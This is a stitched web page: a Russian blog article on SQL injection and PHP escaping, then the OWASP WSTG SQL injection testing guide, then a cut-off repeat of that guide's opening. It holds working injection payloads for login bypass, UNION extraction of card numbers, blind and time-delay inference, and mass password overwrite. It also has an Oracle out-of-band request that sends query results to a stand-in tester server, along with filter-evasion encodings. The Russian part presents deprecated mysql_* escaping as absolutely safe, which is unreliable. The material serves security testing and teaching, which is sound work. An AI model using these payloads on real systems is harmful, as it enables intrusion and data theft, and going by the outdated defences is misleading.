Ошибки проверки вводимых данных sql инъекция

SQL инъекция — это один из самых доступных способов взлома сайта.
Суть таких инъекций – внедрение в данные (передаваемые через GET, POST запросы или значения Cookie) произвольного SQL кода. Если сайт уязвим и выполняет такие инъекции, то по сути есть возможность творить с БД (чаще всего это MySQL) что угодно.

Как вычислить уязвимость, позволяющую внедрять SQL инъекции?

Довольно легко. Например, есть тестовый сайт test.ru. На сайте выводится список новостей, с возможностью детального просомтра. Адрес страницы с детальным описанием новости выглядит так: test.ru/?detail=1. Т.е через GET запрос переменная detail передаёт значение 1 (которое является идентификатором записи в табице новостей).

Изменяем GET запрос на ?detail=1' или ?detail=1". Далее пробуем передавать эти запросы серверу, т.е заходим на test.ru/?detail=1′ или на test.ru/?detail=1″.

Если при заходе на данные страницы появляется ошибка, значит сайт уязвим на SQL инъекции.

Пример ошибки, возникающей при проверке уязвимости
image

Возможные SQL инъекции (SQL внедрения)
1) Наиболее простые — сворачивание условия WHERE к истиностному результату при любых значениях параметров.
2) Присоединение к запросу результатов другого запроса. Делается это через оператор UNION.
3) Закомментирование части запроса.

Практика. Варианты взлома сайта с уязвимостью на SQL внедрения

Итак, у нас есть уже упоминавшийся сайт test.ru. В базе хранится 4 новости, 3 из которых выводятся. Разрешение на публикацию новости зависит от парметра public (если параметр содержит значение 1, то новость публикуется).

Список новостей, разрешённых к публикации
image

При обращении к странице test.ru/?detail=4, которая должна выводить четвёртую новость появляется ошибка – новость не найдена.
В нашем случае новость существует, но она запрещена к публикации.
image

Но так как мы уже проверяли сайт на уязвимость и он выдавал ошибку БД, то пробуем перебирать возможные варианты запросов.
В адресной строке плюс (+) выполняет роль пробела, так что не пугайтесь

Тестирую следующие варианты:
test.ru/?detail=4+OR+1
test.ru/?detail=4+—
test.ru/?detail=4+UNION+SELECT+*+FROM+news+WHERE+id=4

В итоге удача улыбнулась и два запроса (первый и третий) вернули нам детальное описание четвёртой новости
image

Разбор примера изнутри

За получение детального описания новости отвечает блок кода:
$detail_id=$_GET['detail'];
$zapros="SELECT * FROM `$table_news` WHERE `public`='1' AND `id`=$detail_id ORDER BY `position` DESC";

Мало того, что $detail_id получает значение без какой либо обработки, так ещё и конструкция `id`=$detail_id написана криво, лучше придерживаться `id`=’$detail_id’ (т.е сравниваемое значение писать в прямых апострофах).

Глядя на запрос, получаемый при обращении к странице через test.ru/?detail=4+OR+1

SELECT * FROM `news` WHERE `public`='1' AND `id`=4 OR 1 ORDER BY `position` DESC

становится не совсем ясно, почему отобразилась 4-ая новость. Дело в том, что запрос вернул все записи из таблицы новостей, отсортированные в порядке убывания сверху. И таким образом наша 4-ая новость оказалась самой первой, она же и вывелась как детальная. Т.е просто совпадение.

Разбираем запрос, сформированный при обращении через test.ru/?detail=4+UNION+SELECT+*+FROM+news+WHERE+id=4.

Тут название таблицы с новостями (в нашем случае это news) бралось логическим перебором.
Итак, выполнился запрос SELECT * FROM `news` WHERE `public`='1' AND `id`=4 UNION SELECT * FROM news WHERE id=4 ORDER BY `position` DESC. К нулевому результату первой части запроса (до UNION) присоединился результат второй части (после UNION), вернувшей детальное описание 4-ой новости.

Защита от SQL инъекций (SQL внедрений)

Защита от взлома сводится к базовому правилу «доверяй, но проверяй». Проверять нужно всё – числа, строки, даты, данные в специальных форматах.

Числа

Для проверки переменной на числовое значение используется функция is_numeric(n);, которая вернёт true, если параметр n — число, и false в противном случае.
Так же можно не проверять значение на число, а вручную переопределить тип. Вот пример, переопределяющий значение $id, полученное от $_GET[‘id_news’] в значение целочисленного типа (в целое число):
$id=(int)$_GET['id_news'];

Строки

Большинство взломов через SQL происходят по причине нахождения в строках «необезвреженных» кавычек, апострофов и других специальных символов. Для такого обезвреживания нужно использовать функцию addslashes($str);, которая возвращает строку $str с добавленным обратным слешем () перед каждым специальным символом. Данный процесс называется экранизацией.

$a="пример текста с апострофом ' ";
echo addslashes($a); //будет выведено: пример текста с апострофом '

Кроме этого существуют две функции, созданные именно для экранизации строк, используемых в SQL выражениях.
Это mysql_escape_string($str); и mysql_real_escape_string($str);.

Первая не учитывает кодировку соединения с БД и может быть обойдена, а вот вторая её учитывает и абсолютно безопасна. mysql_real_escape_string($str); возвращает строку $str с добавленным обратным слешем к следующим символам: x00, n, r, , ', " и x1a.

Магические кавычки

Магические кавычки – эффект автоматической замены кавычки на обратный слэш () и кавычку при операциях ввода/вывода. В некоторых конфигурациях PHP этот параметр включён, а в некоторых нет. Для того, что бы избежать двойного экранизирования символов и заэкранизировать данные по-нормальному через mysql_real_escape_string($str);, необходимо убрать автоматические проставленные обратные слеши (если магические кавычки включены).

Проверка включённости магических кавычек для данных получаемых из GET, POST или Куков организуется через функцию get_magic_quotes_gpc(); (возвращает 1 – если магические кавычки включены, 0 – если отключены).

Если магические кавычки вкючены (т.е обратные слеши добавляеются) и такое встречается чаще, то их нужно убрать. Это делается через функцию stripslashes($str); (возвращает строку $str без обратных слешей у кавычек и прямых апострофов).

В закючении привожу код с полной экранизацией строк для записи в БД

if(get_magic_quotes_gpc()==1)
{
$element_title=stripslashes(trim($_POST["element_title"]));
$element_text=stripslashes(trim($_POST["element_text"]));
$element_date=stripslashes(trim($_POST["element_date"]));
}
else
{
$element_title=trim($_POST["element_title"]);
$element_text=trim($_POST["element_text"]);
$element_date=trim($_POST["element_date"]);
}

$element_title=mysql_real_escape_string($element_title);
$element_text=mysql_real_escape_string($element_text);
$element_date=mysql_real_escape_string($element_date);

Статья была подготовлена на основе практических навыков по защите веб-систем. Теория дело хорошее, но практика важнее и главное она работает.

layout title tags

col-document

WSTG — v4.2

WSTG

{% include breadcrumb.html %}

Testing for SQL Injection

ID
WSTG-INPV-05

Summary

SQL injection testing checks if it is possible to inject data into the application so that it executes a user-controlled SQL query in the database. Testers find a SQL injection vulnerability if the application uses user input to create SQL queries without proper input validation. A successful exploitation of this class of vulnerability allows an unauthorized user to access or manipulate data in the database.

An SQL injection attack consists of insertion or «injection» of either a partial or complete SQL query via the data input or transmitted from the client (browser) to the web application. A successful SQL injection attack can read sensitive data from the database, modify database data (insert/update/delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file existing on the DBMS file system or write files into the file system, and, in some cases, issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands.

In general the way web applications construct SQL statements involving SQL syntax written by the programmers is mixed with user-supplied data. Example:

select title, text from news where id=$id

In the example above the variable $id contains user-supplied data, while the remainder is the SQL static part supplied by the programmer; making the SQL statement dynamic.

Because the way it was constructed, the user can supply crafted input trying to make the original SQL statement execute further actions of the user’s choice. The example below illustrates the user-supplied data «10 or 1=1», changing the logic of the SQL statement, modifying the WHERE clause adding a condition «or 1=1».

select title, text from news where id=10 or 1=1

SQL Injection attacks can be divided into the following three classes:

  • Inband: data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page.
  • Out-of-band: data is retrieved using a different channel (e.g., an email with the results of the query is generated and sent to the tester).
  • Inferential or Blind: there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behavior of the DB Server.

A successful SQL Injection attack requires the attacker to craft a syntactically correct SQL Query. If the application returns an error message generated by an incorrect query, then it may be easier for an attacker to reconstruct the logic of the original query and, therefore, understand how to perform the injection correctly. However, if the application hides the error details, then the tester must be able to reverse engineer the logic of the original query.

About the techniques to exploit SQL injection flaws there are five commons techniques. Also those techniques sometimes can be used in a combined way (e.g. union operator and out-of-band):

  • Union Operator: can be used when the SQL injection flaw happens in a SELECT statement, making it possible to combine two queries into a single result or result set.
  • Boolean: use Boolean condition(s) to verify whether certain conditions are true or false.
  • Error based: this technique forces the database to generate an error, giving the attacker or tester information upon which to refine their injection.
  • Out-of-band: technique used to retrieve data using a different channel (e.g., make a HTTP connection to send the results to a web server).
  • Time delay: use database commands (e.g. sleep) to delay answers in conditional queries. It is useful when attacker doesn’t have some kind of answer (result, output, or error) from the application.

Test Objectives

  • Identify SQL injection points.
  • Assess the severity of the injection and the level of access that can be achieved through it.

How to Test

Detection Techniques

The first step in this test is to understand when the application interacts with a DB Server in order to access some data. Typical examples of cases when an application needs to talk to a DB include:

  • Authentication forms: when authentication is performed using a web form, chances are that the user credentials are checked against a database that contains all usernames and passwords (or, better, password hashes).
  • Search engines: the string submitted by the user could be used in a SQL query that extracts all relevant records from a database.
  • E-Commerce sites: the products and their characteristics (price, description, availability, etc) are very likely to be stored in a database.

The tester has to make a list of all input fields whose values could be used in crafting a SQL query, including the hidden fields of POST requests and then test them separately, trying to interfere with the query and to generate an error. Consider also HTTP headers and Cookies.

The very first test usually consists of adding a single quote ' or a semicolon ; to the field or parameter under test. The first is used in SQL as a string terminator and, if not filtered by the application, would lead to an incorrect query. The second is used to end a SQL statement and, if it is not filtered, it is also likely to generate an error. The output of a vulnerable field might resemble the following (on a Microsoft SQL Server, in this case):

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the
character string ''.
/target/target.asp, line 113

Also comment delimiters (-- or /* */, etc) and other SQL keywords like AND and OR can be used to try to modify the query. A very simple but sometimes still effective technique is simply to insert a string where a number is expected, as an error like the following might be generated:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
varchar value 'test' to a column of data type int.
/target/target.asp, line 113

Monitor all the responses from the web server and have a look at the HTML/JavaScript source code. Sometimes the error is present inside them but for some reason (e.g. JavaScript error, HTML comments, etc) is not presented to the user. A full error message, like those in the examples, provides a wealth of information to the tester in order to mount a successful injection attack. However, applications often do not provide so much detail: a simple ‘500 Server Error’ or a custom error page might be issued, meaning that we need to use blind injection techniques. In any case, it is very important to test each field separately: only one variable must vary while all the other remain constant, in order to precisely understand which parameters are vulnerable and which are not.

Standard SQL Injection Testing

Classic SQL Injection

Consider the following SQL query:

SELECT * FROM Users WHERE Username='$username' AND Password='$password'

A similar query is generally used from the web application in order to authenticate a user. If the query returns a value it means that inside the database a user with that set of credentials exists, then the user is allowed to login to the system, otherwise access is denied. The values of the input fields are generally obtained from the user through a web form. Suppose we insert the following Username and Password values:

$username = 1' or '1' = '1

$password = 1' or '1' = '1

The query will be:

SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1'

If we suppose that the values of the parameters are sent to the server through the GET method, and if the domain of the vulnerable web site is www.example.com, the request that we’ll carry out will be:

http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%20'1

After a short analysis we notice that the query returns a value (or a set of values) because the condition is always true (OR 1=1). In this way the system has authenticated the user without knowing the username and password.

In some systems the first row of a user table would be an administrator user. This may be the profile returned in some cases.

Another example of query is the following:

SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password')))

In this case, there are two problems, one due to the use of the parentheses and one due to the use of MD5 hash function. First of all, we resolve the problem of the parentheses. That simply consists of adding a number of closing parentheses until we obtain a corrected query. To resolve the second problem, we try to evade the second condition. We add to our query a final symbol that means that a comment is beginning. In this way, everything that follows such symbol is considered a comment. Every DBMS has its own syntax for comments, however, a common symbol to the greater majority of the databases is *. In Oracle the symbol is --. This said, the values that we’ll use as Username and Password are:

$username = 1' or '1' = '1'))/*

$password = foo

In this way, we’ll get the following query:

SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password')))

(Due to the inclusion of a comment delimiter in the $username value the password portion of the query will be ignored.)

The URL request will be:

http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&password=foo

This may return a number of values. Sometimes, the authentication code verifies that the number of returned records/results is exactly equal to 1. In the previous examples, this situation would be difficult (in the database there is only one value per user). In order to go around this problem, it is enough to insert a SQL command that imposes a condition that the number of the returned results must be one. (One record returned) In order to reach this goal, we use the operator LIMIT <num>, where <num> is the number of the results/records that we want to be returned. With respect to the previous example, the value of the fields Username and Password will be modified as follows:

$username = 1' or '1' = '1')) LIMIT 1/*

$password = foo

In this way, we create a request like the follow:

http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&amp;password=foo

SELECT Statement

Consider the following SQL query:

SELECT * FROM products WHERE id_product=$id_product

Consider also the request to a script who executes the query above:

http://www.example.com/product.php?id=10

When the tester tries a valid value (e.g. 10 in this case), the application will return the description of a product. A good way to test if the application is vulnerable in this scenario is play with logic, using the operators AND and OR.

Consider the request:

http://www.example.com/product.php?id=10 AND 1=2

SELECT * FROM products WHERE id_product=10 AND 1=2

In this case, probably the application would return some message telling us there is no content available or a blank page. Then the tester can send a true statement and check if there is a valid result:

http://www.example.com/product.php?id=10 AND 1=1

Stacked Queries

Depending on the API which the web application is using and the DBMS (e.g. PHP + PostgreSQL, ASP+SQL SERVER) it may be possible to execute multiple queries in one call.

Consider the following SQL query:

SELECT * FROM products WHERE id_product=$id_product

A way to exploit the above scenario would be:

http://www.example.com/product.php?id=10; INSERT INTO users (…)

This way is possible to execute many queries in a row and independent of the first query.

Fingerprinting the Database

Even though the SQL language is a standard, every DBMS has its peculiarity and differs from each other in many aspects like special commands, functions to retrieve data such as users names and databases, features, comments line etc.

When the testers move to a more advanced SQL injection exploitation they need to know what the back end database is.

Errors Returned by the Application

The first way to find out what back end database is used is by observing the error returned by the application. The following are some examples of error messages:

MySql:

You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the
right syntax to use near ''' at line 1

One complete UNION SELECT with version() can also help to know the back end database.

SELECT id, name FROM users WHERE id=1 UNION SELECT 1, version() limit 1,1

Oracle:

ORA-00933: SQL command not properly ended

MS SQL Server:

Microsoft SQL Native Client error ‘80040e14’
Unclosed quotation mark after the character string

SELECT id, name FROM users WHERE id=1 UNION SELECT 1, @@version limit 1, 1

PostgreSQL:

Query failed: ERROR: syntax error at or near
"’" at character 56 in /www/site/test.php on line 121.

If there is no error message or a custom error message, the tester can try to inject into string fields using varying concatenation techniques:

  • MySql: ‘test’ + ‘ing’
  • SQL Server: ‘test’ ‘ing’
  • Oracle: ‘test’||’ing’
  • PostgreSQL: ‘test’||’ing’

Exploitation Techniques

Union Exploitation Technique

The UNION operator is used in SQL injections to join a query, purposely forged by the tester, to the original query. The result of the forged query will be joined to the result of the original query, allowing the tester to obtain the values of columns of other tables. Suppose for our examples that the query executed from the server is the following:

SELECT Name, Phone, Address FROM Users WHERE Id=$id

We will set the following $id value:

$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

We will have the following query:

SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

Which will join the result of the original query with all the credit card numbers in the CreditCardTable table. The keyword ALL is necessary to get around queries that use the keyword DISTINCT. Moreover, we notice that beyond the credit card numbers, we have selected two other values. These two values are necessary because the two queries must have an equal number of parameters/columns in order to avoid a syntax error.

The first detail a tester needs to exploit the SQL injection vulnerability using such technique is to find the right numbers of columns in the SELECT statement.

In order to achieve this the tester can use ORDER BY clause followed by a number indicating the numeration of database’s column selected:

http://www.example.com/product.php?id=10 ORDER BY 10--

If the query executes with success the tester can assume, in this example, there are 10 or more columns in the SELECT statement. If the query fails then there must be fewer than 10 columns returned by the query. If there is an error message available, it would probably be:

Unknown column '10' in 'order clause'

After the tester finds out the numbers of columns, the next step is to find out the type of columns. Assuming there were 3 columns in the example above, the tester could try each column type, using the NULL value to help them:

http://www.example.com/product.php?id=10 UNION SELECT 1,null,null--

If the query fails, the tester will probably see a message like:

All cells in a column must have the same datatype

If the query executes with success, the first column can be an integer. Then the tester can move further and so on:

http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--

After the successful information gathering, depending on the application, it may only show the tester the first result, because the application treats only the first line of the result set. In this case, it is possible to use a LIMIT clause or the tester can set an invalid value, making only the second query valid (supposing there is no entry in the database which ID is 99999):

http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--

Boolean Exploitation Technique

The Boolean exploitation technique is very useful when the tester finds a Blind SQL Injection situation, in which nothing is known on the outcome of an operation. For example, this behavior happens in cases where the programmer has created a custom error page that does not reveal anything on the structure of the query or on the database. (The page does not return a SQL error, it may just return a HTTP 500, 404, or redirect).

By using inference methods, it is possible to avoid this obstacle and thus to succeed in recovering the values of some desired fields. This method consists of carrying out a series of boolean queries against the server, observing the answers and finally deducing the meaning of such answers. We consider, as always, the www.example.com domain and we suppose that it contains a parameter named id vulnerable to SQL injection. This means that carrying out the following request:

http://www.example.com/index.php?id=1'

We will get one page with a custom message error which is due to a syntactic error in the query. We suppose that the query executed on the server is:

SELECT field1, field2, field3 FROM Users WHERE Id='$Id'

Which is exploitable through the methods seen previously. What we want to obtain is the values of the username field. The tests that we will execute will allow us to obtain the value of the username field, extracting such value character by character. This is possible through the use of some standard functions, present in practically every database. For our examples, we will use the following pseudo-functions:

  • SUBSTRING (text, start, length): returns a substring starting from the position «start» of text and of length «length». If «start» is greater than the length of text, the function returns a null value.

  • ASCII (char): it gives back ASCII value of the input character. A null value is returned if char is 0.

  • LENGTH (text): it gives back the number of characters in the input text.

Through such functions, we will execute our tests on the first character and, when we have discovered the value, we will pass to the second and so on, until we will have discovered the entire value. The tests will take advantage of the function SUBSTRING, in order to select only one character at a time (selecting a single character means to impose the length parameter to 1), and the function ASCII, in order to obtain the ASCII value, so that we can do numerical comparison. The results of the comparison will be done with all the values of the ASCII table, until the right value is found. As an example, we will use the following value for Id:

$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1

That creates the following query (from now on, we will call it «inferential query»):

SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'

The previous example returns a result if and only if the first character of the field username is equal to the ASCII value 97. If we get a false value, then we increase the index of the ASCII table from 97 to 98 and we repeat the request. If instead we obtain a true value, we set to zero the index of the ASCII table and we analyze the next character, modifying the parameters of the SUBSTRING function. The problem is to understand in which way we can distinguish tests returning a true value from those that return false. To do this, we create a query that always returns false. This is possible by using the following value for Id:

$Id=1' AND '1' = '2

Which will create the following query:

SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2'

The obtained response from the server (that is HTML code) will be the false value for our tests. This is enough to verify whether the value obtained from the execution of the inferential query is equal to the value obtained with the test executed before. Sometimes, this method does not work. If the server returns two different pages as a result of two identical consecutive web requests, we will not be able to discriminate the true value from the false value. In these particular cases, it is necessary to use particular filters that allow us to eliminate the code that changes between the two requests and to obtain a template. Later on, for every inferential request executed, we will extract the relative template from the response using the same function, and we will perform a control between the two templates in order to decide the result of the test.

In the previous discussion, we haven’t dealt with the problem of determining the termination condition for out tests, i.e., when we should end the inference procedure. A techniques to do this uses one characteristic of the SUBSTRING function and the LENGTH function. When the test compares the current character with the ASCII code 0 (i.e., the value null) and the test returns the value true, then either we are done with the inference procedure (we have scanned the whole string), or the value we have analyzed contains the null character.

We will insert the following value for the field Id:

$Id=1' AND LENGTH(username)=N AND '1' = '1

Where N is the number of characters that we have analyzed up to now (not counting the null value). The query will be:

SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1'

The query returns either true or false. If we obtain true, then we have completed the inference and, therefore, we know the value of the parameter. If we obtain false, this means that the null character is present in the value of the parameter, and we must continue to analyze the next parameter until we find another null value.

The blind SQL injection attack needs a high volume of queries. The tester may need an automatic tool to exploit the vulnerability.

Error Based Exploitation Technique

An Error based exploitation technique is useful when the tester for some reason can’t exploit the SQL injection vulnerability using other technique such as UNION. The Error based technique consists in forcing the database to perform some operation in which the result will be an error. The point here is to try to extract some data from the database and show it in the error message. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).

Consider the following SQL query:

SELECT * FROM products WHERE id_product=$id_product

Consider also the request to a script who executes the query above:

http://www.example.com/product.php?id=10

The malicious request would be (e.g. Oracle 10g):

http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--

In this example, the tester is concatenating the value 10 with the result of the function UTL_INADDR.GET_HOST_NAME. This Oracle function will try to return the hostname of the parameter passed to it, which is other query, the name of the user. When the database looks for a hostname with the user database name, it will fail and return an error message like:

ORA-292257: host SCOTT unknown

Then the tester can manipulate the parameter passed to GET_HOST_NAME() function and the result will be shown in the error message.

Out of Band Exploitation Technique

This technique is very useful when the tester find a Blind SQL Injection situation, in which nothing is known on the outcome of an operation. The technique consists of the use of DBMS functions to perform an out of band connection and deliver the results of the injected query as part of the request to the tester’s server. Like the error based techniques, each DBMS has its own functions. Check for specific DBMS section.

Consider the following SQL query:

SELECT * FROM products WHERE id_product=$id_product

Consider also the request to a script who executes the query above:

http://www.example.com/product.php?id=10

The malicious request would be:

http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testerserver.com:80’||(SELECT user FROM DUAL)--

In this example, the tester is concatenating the value 10 with the result of the function UTL_HTTP.request. This Oracle function will try to connect to testerserver and make a HTTP GET request containing the return from the query SELECT user FROM DUAL. The tester can set up a webserver (e.g. Apache) or use the Netcat tool:

/home/tester/nc –nLp 80

GET /SCOTT HTTP/1.1
Host: testerserver.com
Connection: close

Time Delay Exploitation Technique

The time delay exploitation technique is very useful when the tester find a Blind SQL Injection situation, in which nothing is known on the outcome of an operation. This technique consists in sending an injected query and in case the conditional is true, the tester can monitor the time taken to for the server to respond. If there is a delay, the tester can assume the result of the conditional query is true. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).

Consider the following SQL query:

SELECT * FROM products WHERE id_product=$id_product

Consider also the request to a script who executes the query above:

http://www.example.com/product.php?id=10

The malicious request would be (e.g. MySql 5.x):

http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))--

In this example the tester is checking whether the MySql version is 5.x or not, making the server to delay the answer by 10 seconds. The tester can increase the delay time and monitor the responses. The tester also doesn’t need to wait for the response. Sometimes he can set a very high value (e.g. 100) and cancel the request after some seconds.

Stored Procedure Injection

When using dynamic SQL within a stored procedure, the application must properly sanitize the user input to eliminate the risk of code injection. If not sanitized, the user could enter malicious SQL that will be executed within the stored procedure.

Consider the following SQL Server Stored Procedure:

Create procedure user_login @username varchar(20), @passwd varchar(20)
As
Declare @sqlstring varchar(250)
Set @sqlstring  =Select 1 from users
Where username =+ @username +and passwd =+ @passwd
exec(@sqlstring)
Go

User input:

anyusername or 1=1'
anypassword

This procedure does not sanitize the input, therefore allowing the return value to show an existing record with these parameters.

This example may seem unlikely due to the use of dynamic SQL to log in a user, but consider a dynamic reporting query where the user selects the columns to view. The user could insert malicious code into this scenario and compromise the data.

Consider the following SQL Server Stored Procedure:

Create
procedure get_report @columnamelist varchar(7900)
As
Declare @sqlstring varchar(8000)
Set @sqlstring  =Select+ @columnamelist +from ReportTable‘
exec(@sqlstring)
Go

User input:

1 from users; update users set password = 'password'; select *

This will result in the report running and all users’ passwords being updated.

Automated Exploitation

Most of the situation and techniques presented here can be performed in a automated way using some tools. In this article the tester can find information how to perform an automated auditing using SQLMap

SQL Injection Signature Evasion Techniques

The techniques are used to bypass defenses such as Web application firewalls (WAFs) or intrusion prevention systems (IPSs). Also refer to https://owasp.org/www-community/attacks/SQL_Injection_Bypassing_WAF

Whitespace

Dropping space or adding spaces that won’t affect the SQL statement. For example

Adding special character like new line or tab that won’t change the SQL statement execution. For example,

Null Bytes

Use null byte (%00) prior to any characters that the filter is blocking.

For example, if the attacker may inject the following SQL

' UNION SELECT password FROM Users WHERE username='admin'--

to add Null Bytes will be

%00' UNION SELECT password FROM Users WHERE username='admin'--

SQL Comments

Adding SQL inline comments can also help the SQL statement to be valid and bypass the SQL injection filter. Take this SQL injection as example.

' UNION SELECT password FROM Users WHERE name='admin'--

Adding SQL inline comments will be.

'/**/UNION/**/SELECT/**/password/**/FROM/**/Users/**/WHERE/**/name/**/LIKE/**/'admin'--

'/**/UNI/**/ON/**/SE/**/LECT/**/password/**/FROM/**/Users/**/WHE/**/RE/**/name/**/LIKE/**/'admin'--

URL Encoding

Use the online URL encoding to encode the SQL statement

' UNION SELECT password FROM Users WHERE name='admin'--

The URL encoding of the SQL injection statement will be

%27%20UNION%20SELECT%20password%20FROM%20Users%20WHERE%20name%3D%27admin%27--

Character Encoding

Char() function can be used to replace English char. For example, char(114,111,111,116) means root

' UNION SELECT password FROM Users WHERE name='root'--

To apply the Char(), the SQL injeciton statement will be

' UNION SELECT password FROM Users WHERE name=char(114,111,111,116)--

String Concatenation

Concatenation breaks up SQL keywords and evades filters. Concatenation syntax varies based on database engine. Take MS SQL engine as an example

select 1

The simple SQL statement can be changed as below by using concatenation

EXEC('SEL' + 'ECT 1')

Hex Encoding

Hex encoding technique uses Hexadecimal encoding to replace original SQL statement char. For example, root can be represented as 726F6F74

Select user from users where name = 'root'

The SQL statement by using HEX value will be:

Select user from users where name = 726F6F74

or

Select user from users where name = unhex('726F6F74')

Declare Variables

Declare the SQL injection statement into variable and execute it.

For example, SQL injection statement below

Union Select password

Define the SQL statement into variable SQLivar

; declare @SQLivar nvarchar(80); set @myvar = N'UNI' + N'ON' + N' SELECT' + N'password');
EXEC(@SQLivar)

Alternative Expression of ‘or 1 = 1’

OR 'SQLi' = 'SQL'+'i'
OR 'SQLi' &gt; 'S'
or 20 &gt; 1
OR 2 between 3 and 1
OR 'SQLi' = N'SQLi'
1 and 1 = 1
1 || 1 = 1
1 && 1 = 1

Remediation

  • To secure the application from SQL injection vulnerabilities, refer to the SQL Injection Prevention CheatSheet.
  • To secure the SQL server, refer to the Database Security CheatSheet.

For generic input validation security, refer to the Input Validation CheatSheet.

Tools

  • SQL Injection Fuzz Strings (from wfuzz tool) — Fuzzdb
  • sqlbftools
  • Bernardo Damele A. G.: sqlmap, automatic SQL injection tool
  • Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool

References

  • Top 10 2017-A1-Injection
  • SQL Injection

Technology specific Testing Guide pages have been created for the following DBMSs:

  • Oracle
  • MySQL
  • SQL Server
  • PostgreSQL
  • MS Access
  • NoSQL
  • ORM
  • Client-side

Whitepapers

  • Victor Chapela: «Advanced SQL Injection»
  • Chris Anley: «More Advanced SQL Injection»
  • David Litchfield: «Data-mining with SQL Injection and Inference»
  • Imperva: «Blinded SQL Injection»
  • Ferruh Mavituna: «SQL Injection Cheat Sheet»
  • Kevin Spett from SPI Dynamics: «SQL Injection»
  • Kevin Spett from SPI Dynamics: «Blind SQL Injection»
  • «ZeQ3uL» (Prathan Phongthiproek) and «Suphot Boonchamnan»: «Beyond SQLi: Obfuscate and Bypass»
  • Adi Kaploun and Eliran Goshen, Check Point Threat Intelligence & Research Team: «The Latest SQL Injection Trends»

Documentation on SQL Injection Vulnerabilities in Products

  • Anatomy of the SQL injection in Drupal’s database comment filtering system SA-CORE-2015-003
layout title tags

col-document

WSTG — v4.2

WSTG

{% include breadcrumb.html %}

Testing for SQL Injection

ID
WSTG-INPV-05

Summary

SQL injection testing checks if it is possible to inject data into the application so that it executes a user-controlled SQL query in the database. Testers find a SQL injection vulnerability if the application uses user input to create SQL queries without proper input validation. A successful exploitation of this class of vulnerability allows an unauthorized user to access or manipulate data in the database.

An SQL injection attack consists of insertion or «injection» of either a partial or complete SQL query via the data input or transmitted from the client (browser) to the web application. A successful SQL injection attack can read sensitive data from the database, modify database data (insert/update/delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file existing on the DBMS file system or write files into the file system, and, in some cases, issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands.

In general the way web applications construct SQL statements involving SQL syntax written by the programmers is mixed with user-supplied data. Example:

select title, text from news where id=$id

In the example above the variable $id contains user-supplied data, while the remainder is the SQL static part supplied by the programmer; making the SQL statement dynamic.

Because the way it was constructed, the user can supply crafted input trying to make the original SQL statement execute further actions of the user’s choice. The example below illustrates the user-supplied data «10 or 1=1», changing the logic of the SQL statement, modifying the WHERE clause adding a condition «or 1=1».

select title, text from news where id=10 or 1=1

SQL Injection attacks can be divided into the following three classes:

  • Inband: data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page.
  • Out-of-band: data is retrieved using a different channel (e.g., an email with the results of the query is generated and sent to the tester).
  • Inferential or Blind: there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behavior of the DB Server.

A successful SQL Injection attack requires the attacker to craft a syntactically correct SQL Query. If the application returns an error message generated by an incorrect query, then it may be easier for an attacker to reconstruct the logic of the original query and, therefore, understand how to perform the injection correctly. However, if the application hides the error details, then the tester must be able to reverse engineer the logic of the original query.

About the techniques to exploit SQL injection flaws there are five commons techniques. Also those techniques sometimes can be used in a combined way (e.g. union operator and out-of-band):

  • Union Operator: can be used when the SQL injection flaw happens in a SELECT statement, making it possible to combine two queries into a single result or result set.
  • Boolean: use Boolean condition(s) to verify whether certain conditions are true or false.
  • Error based: this technique forces the database to generate an error, giving the attacker or tester information upon which to refine their injection.
  • Out-of-band: technique used to retrieve data using a different channel (e.g., make a HTTP connection to send the results to a web server).
  • Time delay: use database commands (e.g. sleep) to delay answers in conditional queries. It is useful when attacker doesn’t have some kind of answer (result, output, or error) from the application.

Test Objectives

  • Identify SQL injection points.
  • Assess the severity of the injection and the level of access that can be achieved through it.

How to Test

Detection Techniques

The first step in this test is to understand when the application interacts with a DB Server in order to access some data. Typical examples of cases when an application needs to talk to a DB include:

  • Authentication forms: when authentication is performed using a web form, chances are that the user credentials are checked against a database that contains all usernames and passwords (or, better, password hashes).
  • Search engines: the string submitted by the user could be used in a SQL query that extracts all relevant records from a database.
  • E-Commerce sites: the products and their characteristics (price, description, availability, etc) are very likely to be stored in a database.

